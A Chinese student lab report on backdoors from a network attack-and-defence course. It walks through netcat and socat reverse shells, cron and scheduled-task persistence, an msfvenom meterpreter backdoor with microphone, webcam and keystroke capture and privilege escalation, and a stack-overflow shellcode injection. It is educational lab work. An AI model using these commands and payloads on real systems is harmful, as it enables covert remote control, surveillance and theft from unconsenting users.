網絡對抗技術Exp2-后門原理與實踐
后門概念
后門就是不經過正常認證流程而訪問系統的通道。
哪里有后門呢?
編譯器留后門
操作系統留后門
最常見的當然還是應用程序中留后門
還有就是潛伏于操作系統中或偽裝為特定應用的專用后門程序。
下面是近些年的一些例子:
編譯器:蘋果Xcode后門事件。蘋果Xcode后門事件中招的APP包括:微信、網易云音樂、滴滴出行、12306等76個軟件,影響到幾億用戶。
操作系統:政府VS廠商。蘋果公開拒絕FBI要求設置后門的要求。那些沒拒絕的當然不會說話。
操作系統:深入解讀MS14-068漏洞:微軟精心策劃的后門?。其實細節我也沒太看懂,看出來蠻可疑。
固件:更多思科路由器發現后門:中國有4臺
應用:研究人員發現macOS版Skype內置了后門
應用:從廣升“后門”事件看企業道德底線
應用:如何評價烏云漏洞平臺曝百度旗下多款App存在WormHole后門?
我們接下來講得是一個相對狹義一點的后門的概念,
特指潛伏于操作系統中專門做后門的一個程序,
“壞人”可以連接這個程序
遠程執行各種指令。
概念和木馬有重疊
- 首先得有這么一個程序
- netcat 系列
- meterpreter
- intersect
- ...特別多
- 其次得放到系統里
- 正版軟件故意或被攻擊,包含后門
- 正版庫文件中包含后門
- 本質上,需要誘騙你下載操作的,都屬于各種釣魚吧
- 安裝包中包含后門,放到網上供下載
- 綁定到特定文件中,放到網上供下載
- 直接發送惡意程序給你
- 直接發送攻擊性釣魚鏈接給你,惡意網站種馬
- 撿到個U盤,打開個文件看看?
- 煤女帥鍋拿U盤直接拷給你
- 攻擊系統漏洞,獲取控制權后,安裝后門
- 再次還得運行起來
- 開機自啟動技術
- win的定時任務
- linux的cron
- 偽裝成常用軟件,誘使用戶點擊
- 木馬化正常軟件
- 最后還得不被本機的惡意代碼檢測程序發現
- 惡意代碼免殺技術
- 也不能被本機的或網絡上的防火墻發現
- 反彈式連接
- 加密連接
- 隧道技術
基礎問題回答
(1)例舉你能想到的一個后門進入到你系統中的可能方式?
答:從非正規途徑下載軟件,如果軟件捆綁有木馬病毒,則會導致在電腦系統內留下后門,黑客就可以通過該可執行文件對pc進行竊聽
(2)例舉你知道的后門如何啟動起來(win及linux)的方式?
Windows:設置為開機自啟動、修改注冊表項、用戶執行帶有后門的可執行文件
Linux:通過crontab功能將后門設為定時啟動;也可以通過對正常軟件綁定注入shellcode
(3)Meterpreter有哪些給你映像深刻的功能?
錄像和錄音功能,以及截屏功能
(4)如何發現自己有系統有沒有被安裝后門?
利用殺毒軟件進行定期的排查
查看任務計劃程序、開機自啟動項、注冊表項中是否有可疑程序
常用的后門工具
win獲得linux的shell
先在cmd指令下獲得win的IP,ipconfig

從課程活動主頁下載ncat到E盤,在cmd中利用cd指令進入到ncat文件夾

輸入指令ncat.exe -l -p 端口號打開監聽
在kali中輸入指令ncat 192.168.50.13 -e /bin/sh,這里的ip是win的ip
這樣就可以在win下面執行kali的指令,比如輸入ls指令

Win成功獲得kali的shell
在這里,kali是監聽方,因此在kali中輸入指令nc -l -p 4307開啟監聽
在win的ncat中輸入ncat.exe -e cmd.exe 192.168.220.128 4307這里的ip是kali的ip

這時我們就可以在kali中進行對win的指令操作,比如dir指令或者ipconfig指令


使用nc傳輸數據
Windows下監聽5318端口,ncat.exe -l 4307
kali反彈連接到Windows的5318端口,nc 192.168.50.13 4307
連接建立成功,雙方可以相互傳輸數據

這里雙方就可以互動聊天了
使用nc傳輸文件(win-->kali)
首先我們需要在ncat文件夾目錄下新建一個txt文本文件,命名為file.in

kali下監聽4307端口,并把收到的數據保存到4307中,nc -l -p 8888 > 4307.txt

然后在win的cmd中輸入指令ncat 192.168.220.128 < file.in這里的ip是kali的ip
緊接著我們就可以在kali的個人文件夾下面找到4307.txt的文件,說明kali接受到了win傳來的文件
使用nc傳輸文件(kali-->win)
這里我為了方便起見,只是把上面win穿到kali的文件又給它傳回去,同時也是驗證上述kali接受到的文件是否是win傳來的文件
Windows下監聽2021端口,并把收到的數據保存到file1中,ncat.exe -l 2021 > file1

kali反彈連接到Windows的2021端口,nc 192.168.50.13 2021 < 4307.txt

連接建立成功,Win可以收到kali發來的文件。
我們打開file.1文件,發現內容和file.in文件內容都是一樣的,說明文件一直是正確傳輸的
Meterpreter
后門就是一個程序。
傳統的理解是:有人編寫一個后門程序,大家拿來用。
后來有一些牛人呢,就想編寫一個平臺能生成后門程序。這個平臺呢,把后門的
基本功能(基本的連接、執行指令),
擴展功能(如搜集用戶信息、安裝服務等功能),
編碼模式,
運行平臺,
以及運行參數
全都做成零件或可調整的參數。用的時候按需要組合,就可以生成一個可執行文件。
典型的平臺就包括有:
intersect
Metaspolit的msfvenom指令
Veil-evasion
參數說明:
-p 使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中。
-e 使用的編碼器,用于對shellcode變形,為了免殺。
-i 編碼器的迭代次數。如上即使用該編碼器編碼5次。
-b badchar是payload中需要去除的字符。
LHOST 是反彈回連的IP
LPORT 是回連的端口
-f 生成文件的類型
輸出到哪個文件
任務一:使用netcat獲取主機操作Shell,cron啟動
Cron是Linux下的定時任務,每一分鐘運行一次,根據配置文件執行預設的指令。詳細說明可以"man cron"
在win下,監聽0419端口
在kali中輸入指令crontab -e指令編輯一條定時任務
(crontab指令增加一條定時任務,"-e"表示編輯)選擇編輯器時選擇3,第一次會提示選擇編輯器,以后就不會提示了
在最后一行添加58 * * * * /bin/netcat 192.168.50.13 -e /bin/sh,意思是在每個小時的第58分鐘反向連接Windows主機的5318端口,

星號代表運行時間,分別是 :分、時、日、月、每周七天中的某天
設置成58的原因是我當時的時間快到58分了,為了能立馬看到效果,所以將時間設置成了58
設置完成后按esc,輸入:wq退出
等到58分的時候win和kali就自動連上了,此時在win中就能輸入kali的指令了

任務二:使用socat獲取主機操作Shell, 任務計劃啟動
socat是ncat的增強版,它使用的格式是socat [options] <address> <address>,其中兩個address是必選項,而options是可選項。
socat的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數address就是代表了其中的一個方向。所謂流,代表了數據的流向,而數據則可以有許多不同的類型,命令中也就相應需要許多選項對各種不同的類型數據流進行限定與說明。
Win+R輸入compmgmt.msc打開“計算機管理”
填寫任務名->新建一個觸發器
在操作->程序或腳本中選擇你的socat.exe文件的路徑,在添加參數一欄填寫tcp-listen:4307 exec:cmd.exe,pty,stderr,這個命令的作用是把cmd.exe綁定到端口4307,同時把cmd.exe的stderr重定向到stdout上

這樣就添加了一個新的任務計劃程序,可以看出它正處于準備就緒狀態,到點就開始運行了,即使錯過了定時的時間點,也可以直接右鍵單擊該任務然后選擇執行,這樣可以隨時執行

開始運行后,Windows會彈出一個命令行窗口,讓它開著不要關閉。此時在kali中輸入socat - tcp:192.168.50.13:4307,此時我們就可以在kali里面調用win的指令了

任務三:使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機并運行獲取主機Shell
在Kali上執行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.128 LPORT=1843 -f exe > 20184307_backdoor.exe,注意這里的IP地址為控制端IP,即LinuxIP,可見已經生成了后門程序“20184307_backdoor.exe”
在Win命令行中進入ncat目錄下,執行命令ncat.exe -l 1843 > 20184307_backdoor.exe,這樣被控主機也就是Windows主機就進入了接收文件模式,在kali中執行命令nc 198.168.50.13 1843 < 20184307_backdoor.exe,IP地址填Windows主機的,將剛剛生成的文件從kali發送到Windows主機


此時我們可以看到在ncat目錄下接受到了20184307backdoor文件
下面在kali中輸入msfconsole,進入MSF控制臺
輸入use exploit/multi/handler使用監聽模塊,設置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后門程序時相同的payload
set LHOST 198.168.220.128,這里用的是LinuxIP,和生成后門程序時指定的IP相同
set LPORT 1843,同樣要使用相同的端口

設置完成后,執行監聽,輸入“exploit”

此時電腦自帶的殺毒軟件已經發現后門,視為木馬程序并刪除,我從恢復區把它恢復

現在我們可以在kali中調用win指令,如圖輸入dir,可以看到nact下面的很多文件目錄
任務四:使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,并嘗試提權
使用record_mic指令可以截獲一段音頻,可以用-d選項設置錄制時間

使用webcam_snap指令可以使用攝像頭進行拍照

使用keyscan_start指令開始記錄下擊鍵的過程,使用keyscan_dump指令讀取擊鍵的記錄

可以發現我使用了ctrl+c鍵
使用screenshot指令可以進行截屏,效果如下

先使用getuid指令查看當前用戶,使用getsystem指令進行提權

任務五:可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
首先復制一個pwn1文件到exp2中,重命名為pwn4307

這里的步驟和實驗一基本一樣
首先是設置堆??尚胁⑶谊P閉地址隨機化,設置完要緊接著驗證一下。這樣設置是為了簡化實驗過程,為本操作的成功執行創設條件。
我們用execstack -s pwn4307來設置堆棧可行,用execstack -q pwn4307來驗證堆棧可行有沒有設置成功,看見“X 文件名”這種格式的輸出就代表設置成功了。
用sudo sh -c " echo 0 > /proc/sys/kernel/randomize_va_space來關閉地址隨機化,作用是往一個指定的文件里寫了一個0,用more /proc/sys/kernel/randomize_va_space來驗證有沒有關閉成功,這一條命令的輸出如果是0的話就表示關閉成功了。
首地址寫入下面這段代碼中:
perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input
窗口運行自己的pwn4307文件,我們在文件所在的目錄下輸入(cat input;cat) | ./pwn4307

然后在第二個窗口,輸入ps -ef | grep pwn4307,查看pwn4307的進程號

打開gdb
輸入disassemble foo,針對foo函數進行反匯編,可以看到ret的地址為0x080484ae,所以我們就在這個地址設置斷點,指令為break *0x080484ae。此時系統會提示自己說,Breakpoint 1 at 0x80484ae,這表明斷點設置完畢。

我們在第一個命令行終端按下一次回車鍵,然后回到第二個終端按下c鍵繼續運行。經歷過上面的操作后,我們在第二個終端輸入info r esp查看棧頂指針所在的位置及其存放的數據

我們發現esp寄存器的地址是0ffffd1ac,緊接著我們用x/16x 0xffffd18c查看該地址的及其臨近地址所存放內容。我們找到了0x04030201,這也正是返回地址的位置。shellcode就挨著,加上4就是了,所以shellcode的地址是 0xffffd1b0
我們把0ffffd1b0寫入input4307,
perl -e 'print "A" x 32;print "\xb0\xd1\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input4307
輸入指令(cat input4307;cat) | ./pwn4307


最后通過輸入雙方通信ip和端口號建立連接

實驗中遇到的問題
首先就是我們搞清楚linux和win誰是接受方,誰是監聽方,這關系到輸入的指令和ip,我在做實驗的時候經常把二者弄反,導致實驗經常中斷。
實驗中體會
這次實驗遇到的困難很多,有求助同學和博客,我們目前學的只是皮毛,更多的關于網絡攻防的知識還需要進一步自己去學習。同時我也明白了在信息化時代,很有可能在不經意間自己的信息就泄露了,所以保護好個人隱私至關重要。

浙公網安備 33010602011771號